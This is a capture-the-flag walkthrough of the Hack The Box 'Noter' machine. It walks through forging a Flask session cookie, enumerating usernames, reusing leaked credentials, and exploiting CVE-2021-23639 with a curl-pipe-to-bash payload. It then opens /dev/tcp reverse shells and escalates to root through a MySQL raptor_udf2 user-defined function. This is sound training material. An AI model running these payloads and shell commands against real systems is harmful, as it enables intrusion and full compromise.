Home Noter HTB
Post
Cancel

Noter HTB

Noter is a medium Linux box, which starts with decrypting the flask session cookie. The cookie has a weak password which can be obtained by brute forcing. There is a quiet enumeration to find out the valid user. Later we craft the session cookie to get the admin access. There are some notes in the admin notes section by reading it we get the password to access the FTP server. In the FTP server, we get the PDF file. Under the Password Creation section, there is information about the format of the default password that is generated by the application that gives the idea of how to create a password for ftp_admin. As ftp_admin we get the source code of the application. By exploiting the node module that is vulnerable to remote code execution we get the shell on the box. As MySQL is running as a root user, we can exploit it by leveraging the user-defined functions of MySQL to gain RCE and escalate our privileges to root.

Recon

Nmap

Let’s begin by scanning for open ports using Nmap

┌──(kali㉿kali)-[~/htb/noter]
└─$ nmap -sCV -oN nmap/initial 10.10.11.160
Nmap scan report for 10.10.11.160
Host is up (0.20s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We have 3 ports are open FTP, SSH and Werkzeug httpd. For FTP and SSH we do not have any creds to login. The http server is using python in backend.

Port 5000

On port 5000 we have a website where we can store the notes. To access it, we need to create an account.

Creating the account with username terminal and password is password to enumerate the application.

noter-1

After login in, we can access the dashboard. Here we have 2 options Add Note and Upgrade to VIP. I had spent some time enumerating this two things however nothing came up.

Flask Cookie

Inspecting the session cookie, it looks like the JWT cookie. When I decode the cookie, it’s not a vaild JWT cookie. The backend server is using python so I guess it is a Flask Session cookie. To verify it I have used the flask-unsign tool.

1
2
3
4
┌──(kali㉿kali)-[~/htb/noter]
└─$ flask-unsign --decode --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVybWluYWwifQ.Yw3nfQ.kUrDtaln3Wt1lduBiNHwXEAK9FY"
{'logged_in': True, 'username': 'terminal'}

Indeed, it is a flask cookie. We can brute force the cookie to extract the secret.

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/htb/noter]
└─$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVybWluYWwifQ.Yw3nfQ.kUrDtaln3Wt1lduBiNHwXEAK9FY"
[*] Session decodes to: {'logged_in': True, 'username': 'terminal'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (1920): -----BEGIN PRIVATE KEY-----t;s
[+] Found secret key after 17024 attemptsdsInfoexampl
'secret123'

Now we have the secret we can change the username. First, we need to find out the vaild username. I tried some well know usernames like admin, and administrator but had no luck.

Enumerating usernames

If we check the login page, when vaild user enters the wrong password it gives the error Invalid login .

Below, terminal is user created by me.

noter-2

If the user is not present then the application shows the Invalid credentials error.

noter-3

With the help of this behavior, we can enumerate valid usernames.

FFuF

Using FFuF we can enumerate the vaild users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/htb/noter]
└─$ ffuf -u http://10.10.11.160:5000/login -w /home/kali/wordlists/SecLists/Usernames/Names/names.txt -X POST -d 'username=FUZZ&password=test' -H 'Content-Type: application/x-www-form-urlencoded' -mr 'Invalid login'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : POST
 :: URL              : http://10.10.11.160:5000/login
 :: Wordlist         : FUZZ: /home/kali/wordlists/SecLists/Usernames/Names/names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=test
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: Invalid login
________________________________________________

blue                    [Status: 200, Size: 2026, Words: 432, Lines: 69]
:: Progress: [10177/10177] :: Job [1/1] :: 82 req/sec :: Duration: [0:02:14] :: Errors: 0 ::

Admin access

We have found the vaild user blue. Let’s create a cookie and access the account.

1
2
3
4
┌──(kali㉿kali)-[~/htb/noter]
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'

eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yw3q6Q.oUeatufWGdm_fMMhlu3IaAeId0s

Paste the cookie and we have admin access. noter-4

FTP

If we checked the notes for the “blue” user http://10.10.11.160:5000/note/1/, we can see this note.

1
2
3
4
5
6
7
8
9
10
11
12
Hello, Thank you for choosing our premium service. Now you are capable of
doing many more things with our application. All the information you are going
to need are on the Email we sent you. By the way, now you can access our FTP
service as well. Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.  
(Additional information are included in the attachments we sent along the
Email)  
  
We all hope you enjoy our service. Thanks!  
  
ftp_admin

In the note, we found the password.

┌──(kali㉿kali)-[~/htb/noter/ftp]
└─$ ftp 10.10.11.160                                                                                                                                         
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf

We can download the policy.pdf.

In the pdf file, we see that it gives information about the password policy of the company. Under the “Password Creation” section, there is information about the format of the default password that is generated by the application. The fourth point is important.

Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)

The other username we found is ftp_admin from blue notes. So considering all of this, the new creds are:

ftp_admin:ftp_admin@Noter!
Login to FTP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[~/htb/noter/ftp]
└─$ ftp 10.10.11.160                                                                                                                                         
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        1003         4096 May 02 23:05 .
drwxr-xr-x    2 0        1003         4096 May 02 23:05 ..
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> get *
local: app_backup_1635803546 remote: *
200 PORT command successful. Consider using PASV.
550 Failed to open file.
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
226 Transfer complete.
25559 bytes received in 0.31 secs (81.1279 kB/s)
ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
226 Transfer complete.
26298 bytes received in 0.31 secs (82.5275 kB/s)
ftp> exit
221 Goodbye.

There are two files over here, which appear to be application backup files.

app_backup_1635803546.zip
app_backup_1638395546.zip

I unzipped both the files, and started to check the files. In one of the files there is a password for mysql database.

# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'

After further enumeration, I have found that there is a file md-to-pdf.js which converts the markdown file to pdf. Upon doing a quick Google search I found CVE-2021-23639.

CVE-2021-23639

In order to exploit we have to create the md file with payload.

exploit.md

1
---js\n((require("child_process")).execSync("curl http://10.10.14.18:8000/reverse.sh | bash"))\n---RCE

reverse.sh

1
2
3
4
#! /bin/bash

/bin/bash -l > /dev/tcp/10.10.14.18/9001 0<&1 2>&1

Go to export notes endpoint. We have an option Export directly from cloud use it to upload the shell.

noter-5

Started a Python web-server on our local machine on port 8000 in the directory which contains the exploit.md.

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ sudo python3 -m http.server 8000
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.160 - - [30/Aug/2022 07:09:41] "GET /exploit.md HTTP/1.1" 200 -
10.10.11.160 - - [30/Aug/2022 07:09:42] "GET /reverse.sh HTTP/1.1" 200 -

Reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.11.160] 45214
python -c 'import pty;pty.spawn("/bin/bash")'
svc@noter:~/app/web$ ls
svc@noter:~$ ^Z
[1]+  Stopped                 nc -nvlp 9001

┌──(kali㉿kali)-[~/htb/noter/www]
└─$ stty raw -echo                                                                                                                                           

┌──(kali㉿kali)-[~/htb/noter/www]
nc -nvlp 9001                                                                                                                                                

svc@noter:~$ 

Root

After checking all the output of linpeas I found nothing, but we still have mysql creds. After some google i came accross the article it explain how we can get shell by creating the malicious library.

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ gcc -g -c raptor_udf2.c
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

┌──(kali㉿kali)-[~/htb/noter/www]
└─$ ls
exploit.md  linpeas.sh  raptor_udf2.c  raptor_udf2.o  raptor_udf2.so  reverse.sh

Upload the raptor_udf2.so file on the server.

1
2
3
4
5
6
7
8
9
10
svc@noter:/tmp$ wget http://10.10.14.18:8000/raptor_udf2.so
--2022-08-30 11:43:29--  http://10.10.14.18:8000/raptor_udf2.so
Connecting to 10.10.14.18:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17264 (17K) [application/octet-stream]
Saving to: ‘raptor_udf2.so’

raptor_udf2.so      100%[===================>]  16.86K  73.5KB/s    in 0.2s    

2022-08-30 11:43:29 (73.5 KB/s) - ‘raptor_udf2.so’ saved [17264/17264]
1
2
3
4
5
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ sudo python3 -m http.server 8000
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.160 - - [30/Aug/2022 07:43:30] "GET /raptor_udf2.so HTTP/1.1" 200 -

Now execute the following commands to get the shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
svc@noter:/tmp$ mysql -u root -h localhost -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 13702
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> create table npn(line blob);
Query OK, 0 rows affected (0.004 sec)

MariaDB [mysql]> insert into npn values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]> select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)

MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)

MariaDB [mysql]> select do_system("bash -i >& /dev/tcp/10.10.14.18/9002 0>&1");
+--------------------------------------------------------+
| do_system("bash -i >& /dev/tcp/10.10.14.18/9002 0>&1") |
+--------------------------------------------------------+
|                                                      0 |
+--------------------------------------------------------+
1 row in set (0.002 sec)

MariaDB [mysql]> select do_system("bash -c 'bash -i >& /dev/tcp/10.10.14.18/9002 0>&1'");
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.11.160] 38188
bash: cannot set terminal process group (965): Inappropriate ioctl for device
bash: no job control in this shell
root@noter:/var/lib/mysql#
root@noter:/var/lib/mysql# cd /root
root@noter:/root# cat root.txt
cat root.txt
a4c7a8724521b69f908989a994710227
This post is licensed under CC BY 4.0 by the author.